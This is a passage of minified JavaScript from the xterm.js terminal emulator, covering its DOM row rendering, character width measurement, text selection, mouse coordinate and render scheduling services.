d.JoinedCellData(this._workCell,e.translateToString(!0,t[0],t[1]),t[1]-t[0]),P=t[1]-1,C=I.getWidth()}const H=this._isCellInSelection(M,t),F=i&&M===a,W=B&&M>=f&&M<=p;let U=!1;this._decorationService.forEachDecorationAtCell(M,t,void 0,(e=>{U=!0}));let N=I.getChars()||o.WHITESPACE_CELL_CHAR;if(" "===N&&(I.isUnderline()||I.isOverline())&&(N=" "),R=C*l-u.get(N,I.isBold(),I.isItalic()),b){if(y&&(H&&A||!H&&!A&&I.bg===E)&&(H&&A&&S.selectionForeground||I.fg===k)&&I.extended.ext===x&&W===L&&R===D&&!F&&!O&&!U){w+=N,y++;continue}y&&(b.textContent=w),b=this._document.createElement("span"),y=0,w=""}else b=this._document.createElement("span");if(E=I.bg,k=I.fg,x=I.extended.ext,L=W,D=R,A=H,O&&a>=M&&a<=P&&(a=M),!this._coreService.isCursorHidden&&F)if(T.push("xterm-cursor"),this._coreBrowserService.isFocused)h&&T.push("xterm-cursor-blink"),T.push("bar"===s?"xterm-cursor-bar":"underline"===s?"xterm-cursor-underline":"xterm-cursor-block");else if(r)switch(r){case"outline":T.push("xterm-cursor-outline");break;case"block":T.push("xterm-cursor-block");break;case"bar":T.push("xterm-cursor-bar");break;case"underline":T.push("xterm-cursor-underline")}if(I.isBold()&&T.push("xterm-bold"),I.isItalic()&&T.push("xterm-italic"),I.isDim()&&T.push("xterm-dim"),w=I.isInvisible()?o.WHITESPACE_CELL_CHAR:I.getChars()||o.WHITESPACE_CELL_CHAR,I.isUnderline()&&(T.push(`xterm-underline-${I.extended.underlineStyle}`)," "===w&&(w=" "),!I.isUnderlineColorDefault()))if(I.isUnderlineColorRGB())b.style.textDecorationColor=`rgb(${_.AttributeData.toColorRGB(I.getUnderlineColor()).join(",")})`;else{let e=I.getUnderlineColor();this._optionsService.rawOptions.drawBoldTextInBrightColors&&I.isBold()&&e<8&&(e+=8),b.style.textDecorationColor=S.ansi[e].css}I.isOverline()&&(T.push("xterm-overline")," "===w&&(w=" ")),I.isStrikethrough()&&T.push("xterm-strikethrough"),W&&(b.style.textDecoration="underline");let j=I.getFgColor(),$=I.getFgColorMode(),z=I.getBgColor(),K=I.getBgColorMode();const q=!!I.isInverse();if(q){const e=j;j=z,z=e;const t=$;$=K,K=t}let V,G,X,Y=!1;switch(this._decorationService.forEachDecorationAtCell(M,t,void 0,(e=>{"top"!==e.options.layer&&Y||(e.backgroundColorRGB&&(K=50331648,z=e.backgroundColorRGB.rgba>>8&16777215,V=e.backgroundColorRGB),e.foregroundColorRGB&&($=50331648,j=e.foregroundColorRGB.rgba>>8&16777215,G=e.foregroundColorRGB),Y="top"===e.options.layer)})),!Y&&H&&(V=this._coreBrowserService.isFocused?S.selectionBackgroundOpaque:S.selectionInactiveBackgroundOpaque,z=V.rgba>>8&16777215,K=50331648,Y=!0,S.selectionForeground&&($=50331648,j=S.selectionForeground.rgba>>8&16777215,G=S.selectionForeground)),Y&&T.push("xterm-decoration-top"),K){case 16777216:case 33554432:X=S.ansi[z],T.push(`xterm-bg-${z}`);break;case 50331648:X=c.rgba.toColor(z>>16,z>>8&255,255&z),this._addStyle(b,`background-color:#${v((z>>>0).toString(16),"0",6)}`);break;default:q?(X=S.foreground,T.push(`xterm-bg-${n.INVERTED_DEFAULT_COLOR}`)):X=S.background}switch(V||I.isDim()&&(V=c.color.multiplyOpacity(X,.5)),$){case 16777216:case 33554432:I.isBold()&&j<8&&this._optionsService.rawOptions.drawBoldTextInBrightColors&&(j+=8),this._applyMinimumContrast(b,X,S.ansi[j],I,V,void 0)||T.push(`xterm-fg-${j}`);break;case 50331648:const e=c.rgba.toColor(j>>16&255,j>>8&255,255&j);this._applyMinimumContrast(b,X,e,I,V,G)||this._addStyle(b,`color:#${v(j.toString(16),"0",6)}`);break;default:this._applyMinimumContrast(b,X,S.foreground,I,V,void 0)||q&&T.push(`xterm-fg-${n.INVERTED_DEFAULT_COLOR}`)}T.length&&(b.className=T.join(" "),T.length=0),F||O||U?b.textContent=w:y++,R!==this.defaultSpacing&&(b.style.letterSpacing=`${R}px`),g.push(b),M=P}return b&&y&&(b.textContent=w),g}_applyMinimumContrast(e,t,i,s,r,n){if(1===this._optionsService.rawOptions.minimumContrastRatio||(0,u.excludeFromContrastRatioDemands)(s.getCode()))return!1;const o=this._getContrastCache(s);let a;if(r||n||(a=o.getColor(t.rgba,i.rgba)),void 0===a){const e=this._optionsService.rawOptions.minimumContrastRatio/(s.isDim()?2:1);a=c.color.ensureContrastRatio(r||t,n||i,e),o.setColor((r||t).rgba,(n||i).rgba,null!=a?a:null)}return!!a&&(this._addStyle(e,`color:${a.css}`),!0)}_getContrastCache(e){return e.isDim()?this._themeService.colors.halfContrastCache:this._themeService.colors.contrastCache}_addStyle(e,t){e.setAttribute("style",`${e.getAttribute("style")||""}${t};`)}_isCellInSelection(e,t){const i=this._selectionStart,s=this._selectionEnd;return!(!i||!s)&&(this._columnSelectMode?i[0]<=s[0]?e>=i[0]&&t>=i[1]&&e<s[0]&&t<=s[1]:e<i[0]&&t>=i[1]&&e>=s[0]&&t<=s[1]:t>i[1]&&t<s[1]||i[1]===s[1]&&t===i[1]&&e>=i[0]&&e<s[0]||i[1]<s[1]&&t===s[1]&&e<s[0]||i[1]<s[1]&&t===i[1]&&e>=i[0])}};function v(e,t,i){for(;e.length<i;)e=t+e;return e}t.DomRendererRowFactory=f=s([r(1,l.ICharacterJoinerService),r(2,h.IOptionsService),r(3,l.ICoreBrowserService),r(4,h.ICoreService),r(5,h.IDecorationService),r(6,l.IThemeService)],f)},2550:(e,t)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.WidthCache=void 0,t.WidthCache=class{constructor(e){this._flat=new Float32Array(256),this._font="",this._fontSize=0,this._weight="normal",this._weightBold="bold",this._measureElements=[],this._container=e.createElement("div"),this._container.style.position="absolute",this._container.style.top="-50000px",this._container.style.width="50000px",this._container.style.whiteSpace="pre",this._container.style.fontKerning="none";const t=e.createElement("span"),i=e.createElement("span");i.style.fontWeight="bold";const s=e.createElement("span");s.style.fontStyle="italic";const r=e.createElement("span");r.style.fontWeight="bold",r.style.fontStyle="italic",this._measureElements=[t,i,s,r],this._container.appendChild(t),this._container.appendChild(i),this._container.appendChild(s),this._container.appendChild(r),e.body.appendChild(this._container),this.clear()}dispose(){this._container.remove(),this._measureElements.length=0,this._holey=void 0}clear(){this._flat.fill(-9999),this._holey=new Map}setFont(e,t,i,s){e===this._font&&t===this._fontSize&&i===this._weight&&s===this._weightBold||(this._font=e,this._fontSize=t,this._weight=i,this._weightBold=s,this._container.style.fontFamily=this._font,this._container.style.fontSize=`${this._fontSize}px`,this._measureElements[0].style.fontWeight=`${i}`,this._measureElements[1].style.fontWeight=`${s}`,this._measureElements[2].style.fontWeight=`${i}`,this._measureElements[3].style.fontWeight=`${s}`,this.clear())}get(e,t,i){let s=0;if(!t&&!i&&1===e.length&&(s=e.charCodeAt(0))<256)return-9999!==this._flat[s]?this._flat[s]:this._flat[s]=this._measure(e,0);let r=e;t&&(r+="B"),i&&(r+="I");let n=this._holey.get(r);if(void 0===n){let s=0;t&&(s|=1),i&&(s|=2),n=this._measure(e,s),this._holey.set(r,n)}return n}_measure(e,t){const i=this._measureElements[t];return i.textContent=e.repeat(32),i.offsetWidth/32}}},2223:(e,t,i)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.TEXT_BASELINE=t.DIM_OPACITY=t.INVERTED_DEFAULT_COLOR=void 0;const s=i(6114);t.INVERTED_DEFAULT_COLOR=257,t.DIM_OPACITY=.5,t.TEXT_BASELINE=s.isFirefox||s.isLegacyEdge?"bottom":"ideographic"},6171:(e,t)=>{function i(e){return 57508<=e&&e<=57558}Object.defineProperty(t,"__esModule",{value:!0}),t.createRenderDimensions=t.excludeFromContrastRatioDemands=t.isRestrictedPowerlineGlyph=t.isPowerlineGlyph=t.throwIfFalsy=void 0,t.throwIfFalsy=function(e){if(!e)throw new Error("value must not be falsy");return e},t.isPowerlineGlyph=i,t.isRestrictedPowerlineGlyph=function(e){return 57520<=e&&e<=57527},t.excludeFromContrastRatioDemands=function(e){return i(e)||function(e){return 9472<=e&&e<=9631}(e)},t.createRenderDimensions=function(){return{css:{canvas:{width:0,height:0},cell:{width:0,height:0}},device:{canvas:{width:0,height:0},cell:{width:0,height:0},char:{width:0,height:0,left:0,top:0}}}}},456:(e,t)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.SelectionModel=void 0,t.SelectionModel=class{constructor(e){this._bufferService=e,this.isSelectAllActive=!1,this.selectionStartLength=0}clearSelection(){this.selectionStart=void 0,this.selectionEnd=void 0,this.isSelectAllActive=!1,this.selectionStartLength=0}get finalSelectionStart(){return this.isSelectAllActive?[0,0]:this.selectionEnd&&this.selectionStart&&this.areSelectionValuesReversed()?this.selectionEnd:this.selectionStart}get finalSelectionEnd(){if(this.isSelectAllActive)return[this._bufferService.cols,this._bufferService.buffer.ybase+this._bufferService.rows-1];if(this.selectionStart){if(!this.selectionEnd||this.areSelectionValuesReversed()){const e=this.selectionStart[0]+this.selectionStartLength;return e>this._bufferService.cols?e%this._bufferService.cols==0?[this._bufferService.cols,this.selectionStart[1]+Math.floor(e/this._bufferService.cols)-1]:[e%this._bufferService.cols,this.selectionStart[1]+Math.floor(e/this._bufferService.cols)]:[e,this.selectionStart[1]]}if(this.selectionStartLength&&this.selectionEnd[1]===this.selectionStart[1]){const e=this.selectionStart[0]+this.selectionStartLength;return e>this._bufferService.cols?[e%this._bufferService.cols,this.selectionStart[1]+Math.floor(e/this._bufferService.cols)]:[Math.max(e,this.selectionEnd[0]),this.selectionEnd[1]]}return this.selectionEnd}}areSelectionValuesReversed(){const e=this.selectionStart,t=this.selectionEnd;return!(!e||!t)&&(e[1]>t[1]||e[1]===t[1]&&e[0]>t[0])}handleTrim(e){return this.selectionStart&&(this.selectionStart[1]-=e),this.selectionEnd&&(this.selectionEnd[1]-=e),this.selectionEnd&&this.selectionEnd[1]<0?(this.clearSelection(),!0):(this.selectionStart&&this.selectionStart[1]<0&&(this.selectionStart[1]=0),!1)}}},428:function(e,t,i){var s=this&&this.__decorate||function(e,t,i,s){var r,n=arguments.length,o=n<3?t:null===s?s=Object.getOwnPropertyDescriptor(t,i):s;if("object"==typeof Reflect&&"function"==typeof Reflect.decorate)o=Reflect.decorate(e,t,i,s);else for(var a=e.length-1;a>=0;a--)(r=e[a])&&(o=(n<3?r(o):n>3?r(t,i,o):r(t,i))||o);return n>3&&o&&Object.defineProperty(t,i,o),o},r=this&&this.__param||function(e,t){return function(i,s){t(i,s,e)}};Object.defineProperty(t,"__esModule",{value:!0}),t.CharSizeService=void 0;const n=i(2585),o=i(8460),a=i(844);let h=t.CharSizeService=class extends a.Disposable{get hasValidSize(){return this.width>0&&this.height>0}constructor(e,t,i){super(),this._optionsService=i,this.width=0,this.height=0,this._onCharSizeChange=this.register(new o.EventEmitter),this.onCharSizeChange=this._onCharSizeChange.event,this._measureStrategy=new c(e,t,this._optionsService),this.register(this._optionsService.onMultipleOptionChange(["fontFamily","fontSize"],(()=>this.measure())))}measure(){const e=this._measureStrategy.measure();e.width===this.width&&e.height===this.height||(this.width=e.width,this.height=e.height,this._onCharSizeChange.fire())}};t.CharSizeService=h=s([r(2,n.IOptionsService)],h);class c{constructor(e,t,i){this._document=e,this._parentElement=t,this._optionsService=i,this._result={width:0,height:0},this._measureElement=this._document.createElement("span"),this._measureElement.classList.add("xterm-char-measure-element"),this._measureElement.textContent="W".repeat(32),this._measureElement.setAttribute("aria-hidden","true"),this._measureElement.style.whiteSpace="pre",this._measureElement.style.fontKerning="none",this._parentElement.appendChild(this._measureElement)}measure(){this._measureElement.style.fontFamily=this._optionsService.rawOptions.fontFamily,this._measureElement.style.fontSize=`${this._optionsService.rawOptions.fontSize}px`;const e={height:Number(this._measureElement.offsetHeight),width:Number(this._measureElement.offsetWidth)};return 0!==e.width&&0!==e.height&&(this._result.width=e.width/32,this._result.height=Math.ceil(e.height)),this._result}}},4269:function(e,t,i){var s=this&&this.__decorate||function(e,t,i,s){var r,n=arguments.length,o=n<3?t:null===s?s=Object.getOwnPropertyDescriptor(t,i):s;if("object"==typeof Reflect&&"function"==typeof Reflect.decorate)o=Reflect.decorate(e,t,i,s);else for(var a=e.length-1;a>=0;a--)(r=e[a])&&(o=(n<3?r(o):n>3?r(t,i,o):r(t,i))||o);return n>3&&o&&Object.defineProperty(t,i,o),o},r=this&&this.__param||function(e,t){return function(i,s){t(i,s,e)}};Object.defineProperty(t,"__esModule",{value:!0}),t.CharacterJoinerService=t.JoinedCellData=void 0;const n=i(3734),o=i(643),a=i(511),h=i(2585);class c extends n.AttributeData{constructor(e,t,i){super(),this.content=0,this.combinedData="",this.fg=e.fg,this.bg=e.bg,this.combinedData=t,this._width=i}isCombined(){return 2097152}getWidth(){return this._width}getChars(){return this.combinedData}getCode(){return 2097151}setFromCharData(e){throw new Error("not implemented")}getAsCharData(){return[this.fg,this.getChars(),this.getWidth(),this.getCode()]}}t.JoinedCellData=c;let l=t.CharacterJoinerService=class e{constructor(e){this._bufferService=e,this._characterJoiners=[],this._nextCharacterJoinerId=0,this._workCell=new a.CellData}register(e){const t={id:this._nextCharacterJoinerId++,handler:e};return this._characterJoiners.push(t),t.id}deregister(e){for(let t=0;t<this._characterJoiners.length;t++)if(this._characterJoiners[t].id===e)return this._characterJoiners.splice(t,1),!0;return!1}getJoinedCharacters(e){if(0===this._characterJoiners.length)return[];const t=this._bufferService.buffer.lines.get(e);if(!t||0===t.length)return[];const i=[],s=t.translateToString(!0);let r=0,n=0,a=0,h=t.getFg(0),c=t.getBg(0);for(let e=0;e<t.getTrimmedLength();e++)if(t.loadCell(e,this._workCell),0!==this._workCell.getWidth()){if(this._workCell.fg!==h||this._workCell.bg!==c){if(e-r>1){const e=this._getJoinedRanges(s,a,n,t,r);for(let t=0;t<e.length;t++)i.push(e[t])}r=e,a=n,h=this._workCell.fg,c=this._workCell.bg}n+=this._workCell.getChars().length||o.WHITESPACE_CELL_CHAR.length}if(this._bufferService.cols-r>1){const e=this._getJoinedRanges(s,a,n,t,r);for(let t=0;t<e.length;t++)i.push(e[t])}return i}_getJoinedRanges(t,i,s,r,n){const o=t.substring(i,s);let a=[];try{a=this._characterJoiners[0].handler(o)}catch(e){console.error(e)}for(let t=1;t<this._characterJoiners.length;t++)try{const i=this._characterJoiners[t].handler(o);for(let t=0;t<i.length;t++)e._mergeRanges(a,i[t])}catch(e){console.error(e)}return this._stringRangesToCellRanges(a,r,n),a}_stringRangesToCellRanges(e,t,i){let s=0,r=!1,n=0,a=e[s];if(a){for(let h=i;h<this._bufferService.cols;h++){const i=t.getWidth(h),c=t.getString(h).length||o.WHITESPACE_CELL_CHAR.length;if(0!==i){if(!r&&a[0]<=n&&(a[0]=h,r=!0),a[1]<=n){if(a[1]=h,a=e[++s],!a)break;a[0]<=n?(a[0]=h,r=!0):r=!1}n+=c}}a&&(a[1]=this._bufferService.cols)}}static _mergeRanges(e,t){let i=!1;for(let s=0;s<e.length;s++){const r=e[s];if(i){if(t[1]<=r[0])return e[s-1][1]=t[1],e;if(t[1]<=r[1])return e[s-1][1]=Math.max(t[1],r[1]),e.splice(s,1),e;e.splice(s,1),s--}else{if(t[1]<=r[0])return e.splice(s,0,t),e;if(t[1]<=r[1])return r[0]=Math.min(t[0],r[0]),e;t[0]<r[1]&&(r[0]=Math.min(t[0],r[0]),i=!0)}}return i?e[e.length-1][1]=t[1]:e.push(t),e}};t.CharacterJoinerService=l=s([r(0,h.IBufferService)],l)},5114:(e,t)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.CoreBrowserService=void 0,t.CoreBrowserService=class{constructor(e,t){this._textarea=e,this.window=t,this._isFocused=!1,this._cachedIsFocused=void 0,this._textarea.addEventListener("focus",(()=>this._isFocused=!0)),this._textarea.addEventListener("blur",(()=>this._isFocused=!1))}get dpr(){return this.window.devicePixelRatio}get isFocused(){return void 0===this._cachedIsFocused&&(this._cachedIsFocused=this._isFocused&&this._textarea.ownerDocument.hasFocus(),queueMicrotask((()=>this._cachedIsFocused=void 0))),this._cachedIsFocused}}},8934:function(e,t,i){var s=this&&this.__decorate||function(e,t,i,s){var r,n=arguments.length,o=n<3?t:null===s?s=Object.getOwnPropertyDescriptor(t,i):s;if("object"==typeof Reflect&&"function"==typeof Reflect.decorate)o=Reflect.decorate(e,t,i,s);else for(var a=e.length-1;a>=0;a--)(r=e[a])&&(o=(n<3?r(o):n>3?r(t,i,o):r(t,i))||o);return n>3&&o&&Object.defineProperty(t,i,o),o},r=this&&this.__param||function(e,t){return function(i,s){t(i,s,e)}};Object.defineProperty(t,"__esModule",{value:!0}),t.MouseService=void 0;const n=i(4725),o=i(9806);let a=t.MouseService=class{constructor(e,t){this._renderService=e,this._charSizeService=t}getCoords(e,t,i,s,r){return(0,o.getCoords)(window,e,t,i,s,this._charSizeService.hasValidSize,this._renderService.dimensions.css.cell.width,this._renderService.dimensions.css.cell.height,r)}getMouseReportCoords(e,t){const i=(0,o.getCoordsRelativeToElement)(window,e,t);if(this._charSizeService.hasValidSize)return i[0]=Math.min(Math.max(i[0],0),this._renderService.dimensions.css.canvas.width-1),i[1]=Math.min(Math.max(i[1],0),this._renderService.dimensions.css.canvas.height-1),{col:Math.floor(i[0]/this._renderService.dimensions.css.cell.width),row:Math.floor(i[1]/this._renderService.dimensions.css.cell.height),x:Math.floor(i[0]),y:Math.floor(i[1])}}};t.MouseService=a=s([r(0,n.IRenderService),r(1,n.ICharSizeService)],a)},3230:function(e,t,i){var s=this&&this.__decorate||function(e,t,i,s){var r,n=arguments.length,o=n<3?t:null===s?s=Object.getOwnPropertyDescriptor(t,i):s;if("object"==typeof Reflect&&"function"==typeof Reflect.decorate)o=Reflect.decorate(e,t,i,s);else for(var a=e.length-1;a>=0;a--)(r=e[a])&&(o=(n<3?r(o):n>3?r(t,i,o):r(t,i))||o);return n>3&&o&&Object.defineProperty(t,i,o),o},r=this&&this.__param||function(e,t){return function(i,s){t(i,s,e)}};Object.defineProperty(t,"__esModule",{value:!0}),t.RenderService=void 0;const n=i(3656),o=i(6193),a=i(5596),h=i(4725),c=i(8460),l=i(844),d=i(7226),u=i(2585);let _=t.RenderService=class extends l.Disposable{get dimensions(){return this._renderer.value.dimensions}constructor(e,t,i,s,r,h,u,_){if(super(),this._rowCount=e,this._charSizeService=s,this._renderer=this.register(new l.MutableDisposable),this._pausedResizeTask=new d.DebouncedIdleTask,this._isPaused=!1,this._needsFullRefresh=!1,this._isNextRenderRedrawOnly=!0,this._needsSelectionRefresh=!1,this._canvasWidth=0,this._canvasHeight=0,this._selectionState={start:void 0,end:void 0,columnSelectMode:!1},this._onDimensionsChange=this.register(new c.EventEmitter),this.onDimensionsChange=this._onDimensionsChange.event,this._onRenderedViewportChange=this.register(new c.EventEmitter),this.onRenderedViewportChange=this._onRenderedViewportChange.event,this._onRender=this.register(new c.EventEmitter),this.onRender=this._onRender.event,this._onRefreshRequest=this.register(new c.EventEmitter),this.onRefreshRequest=this._onRefreshRequest.event,this._renderDebouncer=new o.RenderDebouncer(u.window,((e,t)=>this._renderRows(e,t))),this.register(this._renderDebouncer),this._screenDprMonitor=new a.ScreenDprMonitor(u.window),this._screenDprMonitor.setListener((()=>this.handleDevicePixelRatioChange())),this.register(this._screenDprMonitor),this.register(h.onResize((()=>this._fullRefresh()))),this.register(h.buffers.onBufferActivate((()=>{var e;return null===(e=this._renderer.value)||void 0===e?void 0:e.clear()}))),this.register(i.onOptionChange((()=>this._handleOptionsChanged()))),this.register(this._charSizeService.onCharSizeChange((()=>this.handleCharSizeChanged()))),this.register(r.onDecorationRegistered((()=>this._fullRefresh()))),this.register(r.onDecorationRemoved((()=>this._fullRefresh()))),this.register(i.onMultipleOptionChange(["customGlyphs","drawBoldTextInBrightColors","letterSpacing","lineHeight","fontFamily","fontSize","fontWeight","fontWeightBold","minimumContrastRatio"],(()=>{this.clear(),this.handleResize(h.cols,h.rows),this._fullRefresh()}))),this.register(i.onMultipleOptionChange(["cursorBlink","cursorStyle"],(()=>this.refreshRows(h.buffer.y,h.buffer.y,!0)))),this.register((0,n.addDisposableDomListener)(u.window,"resize",(()=>this.handleDevicePixelRatioChange()))),this.register(_.onChangeColors((()=>this._fullRefresh()))),"IntersectionObserver"in u.window){const e=new u.window.IntersectionObserver((e=>this._handleIntersectionChange(e[e.length-1])),{threshold:0});e.observe(t),this.register({dispose:()=>e.disconnect()})}}_handleIntersectionChange(e){this._isPaused=void 0===e.isIntersecting?0===e.intersectionRatio:!e.isIntersecting,this._isPaused||this._charSizeService.hasValidSize||this._charSizeService.measure(),!this._isPaused&&this._needsFullRefresh&&(this._pausedResizeTask.flush(),this.refreshRows(0,this._rowCount-1),this._needsFullRefresh=!1)}refreshRows(e,t,i=!1){this._isPaused?this._needsFullRefresh=!0:(i||(this._isNextRenderRedrawOnly=!1),this._renderDebouncer.refresh(e,t,this._rowCount))}_renderRows(e,t){this._renderer.value&&(e=Math.min(e,this._rowCount-1),t=Math.min(t,this._rowCount-1),this._renderer.value.renderRows(e,t),this._needsSelectionRefresh&&(this._renderer.value.handleSelectionChanged(this._selectionState.start,this._selectionState.end,this._selectionState.columnSelectMode),this._needsSelectionRefresh=!1),this._isNextRenderRedrawOnly||this._onRenderedViewportChange.fire({start:e,end:t}),this._onRender.fire({start:e,end:t}),this._isNextRenderRedrawOnly=!0)}resize(e,t){this._rowCount=t,this._fireOnCanvasResize()}_handleOptionsChanged(){this._renderer.value&&(this.refreshRows(0,this._rowCount-1),this._fireOnCanvasResize())}_fireOnCanvasResize(){this._renderer.value&&(this._renderer.value.dimensions.css.canvas.width===this._canvasWidth&&this._renderer.value.dimensions.css.canvas.height===this._canvasHeight||this._onDimensionsChange.fire(this._renderer.value.dimensions))}hasRenderer(){return!!this._renderer.value}setRenderer(e){this._renderer.value=e,this._renderer.value.onRequestRedraw((e=>this.refreshRows(e.start,e.end,!0))),this._needsSelectionRefresh=!0,this._fullRefresh()}addRefreshCallback(e){return this._renderDebouncer.addRefreshCallback(e)}_fullRefresh(){this._isPaused?this._needsFullRefresh=!0:this.refreshRows(0,this._rowCount-1)}clearTextureAtlas(){var e,t;this._renderer.value&&(null===(t=(e=this._renderer.value).clearTextureAtlas)||void 0===t||t.call(e),this._fullRefresh())}handleDevicePixelRatioChange(){this._charSizeService.measure(),this._renderer.value&&(this._renderer.value.handleDevicePixelRatioChange(),this.refreshRows(0,this._rowCount-1))}handleResize(e,t){this._renderer.value&&(this._isPaused?this._pausedResizeTask.set((()=>this._renderer.value.handleResize(e,t))):this._renderer.value.handleResize(e,t),this._fullRefresh())}handleCharSizeChanged(){var e;null===(e=this._renderer.value)||void 0===e||e.handleCharSizeChanged()}handleBlur(){var e;null===(e=this._renderer.value)||void 0===e||e.handleBlur()}handleFocus(){var e;null===(e=this._renderer.value)||void 0===e||e.handleFocus()}handleSelectionChanged(e,t,i){var s;this._selectionState.start=e,this._selectionState.end=t,this._selectionState.columnSelectMode=i,null===(s=this._renderer.value)||void 0===s||s.handleSelectionChanged(e,t,i)}handleCursorMove(){var e;null===(e=this._renderer.value)||void 0===e||e.handleCursorMove()}clear(){var e;null===(e=this._renderer.value)||void 0===e||e.clear()}};t.RenderService=_=s([r(2,u.IOptionsService),r(3,h.ICharSizeService),r(4,u.IDecorationService),r(5,u.IBufferService),r(6,h.ICoreBrowserService),r(7,h.IThemeService)],_)},9312:function(e,t,i){var s=this&&this.__decorate||function(e,t,i,s){var r,n=arguments.length,o=n<3?t:null===s?s=Object.getOwnPropertyDescriptor(t,i):s;if("object"==typeof Reflect&&"function"==typeof Reflect.decorate)o=Reflect.decorate(e,t,i,s);else for(var a=e.length-1;a>=0;a--)(r=e[a])&&(o=(n<3?r(o):n>3?r(t,i,o):r(t,i))||o);return n>3&&o&&Object.defineProperty(t,i,o),o},r=this&&this.__param||function(e,t){return function(i,s){t(i,s,e)}};Object.defineProperty(t,"__esModule",{value:!0}),t.SelectionService=void 0;const n=i(9806),o=i(9504),a=i(456),h=i(4725),c=i(8460),l=i(844),d=i(6114),u=i(4841),_=i(511),f=i(2585),v=String.fromCharCode(160),p=new RegExp(v,"g");let g=t.SelectionService=class extends l.Disposable{constructor(e,t,i,s,r,n,o,h,d){super(),this._element=e,this._screenElement=t,this._linkifier=i,this._bufferService=s,this._coreService=r,this._mouseService=n,this._optionsService=o,this._renderService=h,this._coreBrowserService=d,this._dragScrollAmount=0,this._enabled=!0,this._workCell=new _.CellData,this._mouseDownTimeStamp=0,this._oldHasSelection=!1,this._oldSelectionStart=void 0,this._oldSelectionEnd=void 0,this._onLinuxMouseSelection=this.register(new c.EventEmitter),this.onLinuxMouseSelection=this._onLinuxMouseSelection.event,this._onRedrawRequest=this.register(new c.EventEmitter),this.onRequestRedraw=this._onRedrawRequest.event,this._onSelectionChange=this.register(new c.EventEmitter),this.onSelectionChange=this._onSelectionChange.event,this._onRequestScrollLines=this.register(new c.EventEmitter),this.onRequestScrollLines=this._onRequestScrollLines.event,this._mouseMoveListener=e=>this._handleMouseMove(e),this._mouseUpListener=e=>this._handleMouseUp(e),this._coreService.onUserInput((()=>{this.hasSelection&&this.clearSelection()})),this._trimListener=this._bufferService.buffer.lines.onTrim((e=>this._handleTrim(e))),this.register(this._bufferService.buffers.onBufferActivate((e=>this._handleBufferActivate(e)))),this.enable(),this._model=new a.SelectionModel(this._bufferService),this._activeSelectionMode=0,this.register((0,l.toDisposable)((()=>{this._removeMouseDownListeners()})))}reset(){this.clearSelection()}disable(){this.clearSelection(),this._enabled=!1}enable(){this._enabled=!0}get selectionStart(){return this._model.finalSelectionStart}get selectionEnd(){return this._model.finalSelectionEnd}get hasSelection(){const e=this._model.finalSelectionStart,t=this._model.finalSelectionEnd;return!(!e||!t||e[0]===t[0]&&e[1]===t[1])}get selectionText(){const e=this._model.finalSelectionStart,t=this._model.finalSelectionEnd;if(!e||!t)return"";const i=this._bufferService.buffer,s=[];if(3===this._activeSelectionMode){if(e[0]===t[0])return"";const r=e[0]<t[0]?e[0]:t[0],n=e[0]<t[0]?t[0]:e[0];for(let o=e[1];o<=t[1];o++){const e=i.translateBufferLineToString(o,!0,r,n);s.push(e)}}else{const r=e[1]===t[1]?t[0]:void 0;s.push(i.translateBufferLineToString(e[1],!0,e[0],r));for(let r=e[1]+1;r<=t[1]-1;r++){const e=i.lines.get(r),t=i.translateBufferLineToString(r,!0);(null==e?void 0:e.isWrapped)?s[s.length-1]+=t:s.push(t)}if(e[1]!==t[1]){const e=i.lines.get(t[1]),r=i.translateBufferLineToString(t[1],!0,0,t[0]);e&&e.isWrapped?s[s.length-1]+=r:s.push(r)}}return s.map((e=>e.replace(p," "))).join(d.isWindows?"\r\n":"\n")}clearSelection(){this._model.clearSelection(),this._removeMouseDownListeners(),this.refresh(),this._onSelectionChange.fire()}refresh(e){this._refreshAnimationFrame||(this._refreshAnimationFrame=this._coreBrowserService.window.requestAnimationFrame((()=>this._refresh()))),d.isLinux&&e&&this.selectionText.length&&this._onLinuxMouseSelection.fire(this.selectionText)}_refresh(){this._refreshAnimationFrame=void 0,this._onRedrawRequest.fire({start:this._model.finalSelectionStart,end:this._model.finalSelectionEnd,columnSelectMode:3===this._activeSelectionMode})}_isClickInSelection(e){const t=this._getMouseBufferCoords(e),i=this._model.finalSelectionStart,s=this._model.finalSelectionEnd;return!!(i&&s&&t)&&this._areCoordsInSelection(t,i,s)}isCellInSelection(e,t){const i=this._model.finalSelectionStart,s=this._model.finalSelectionEnd;return!(!i||!s)&&this._areCoordsInSelection([e,t],i,s)}_areCoordsInSelection(e,t,i){return e[1]>t[1]&&e[1]<i[1]||t[1]===i[1]&&e[1]===t[1]&&e[0]>=t[0]&&e[0]<i[0]||t[1]<i[1]&&e[1]===i[1]&&e[0]<i[0]||t[1]<i[1]&&e[1]===t[1]&&e[0]>=t[0]}_selectWordAtCursor(e,t){var i,s;const r=null===(s=null===(i=this._linkifier.currentLink)||void 0===i?void 0:i.link)||void 0===s?void 0:s.range;if(r)return this._model.selectionStart=[r.start.x-1,r.start.y-1],this._model.selectionStartLength=(0,u.getRangeLength)(r,this._bufferService.cols),this._model.selectionEnd=void 0,!0;const n=this._getMouseBufferCoords(e);return!!n&&(this._selectWordAt(n,t),this._model.selectionEnd=void 0,!0)}selectAll(){this._model.isSelectAllActive=!0,this.refresh(),this._onSelectionChange.fire()}selectLines(e,t){this._model.clearSelection(),e=Math.max(e,0),t=Math.min(t,this._bufferService.buffer.lines.length-1),this._model.selectionStart=[0,e],this._model.selectionEnd=[this._bufferService.cols,t],this.refresh(),this._onSelectionChange.fire()}_handleTrim(e){this._model.handleTrim(e)&&this.refresh()}_getMouseBufferCoords(e){const t=this._mouseService.getCoords(e,this._screenElement,this._bufferService.cols,this._bufferService.rows,!0);if(t)return t[0]--,t[1]--,t[1]+=this._bufferService.buffer.ydisp,t}_getMouseEventScrollAmount(e){let t=(0,n.getCoordsRelativeToElement)(this._coreBrowserService.window,e,this._screenElement)[1];const i=this._renderService.dimensions.css.canvas.height;return t>=0&&t<=i?0:(t>i&&(t-=i),t=Math.min(Math.max(t,-50),50),t/=50,t/Math.abs(t)+Math.round(14*t))}shouldForceSelection(e){return 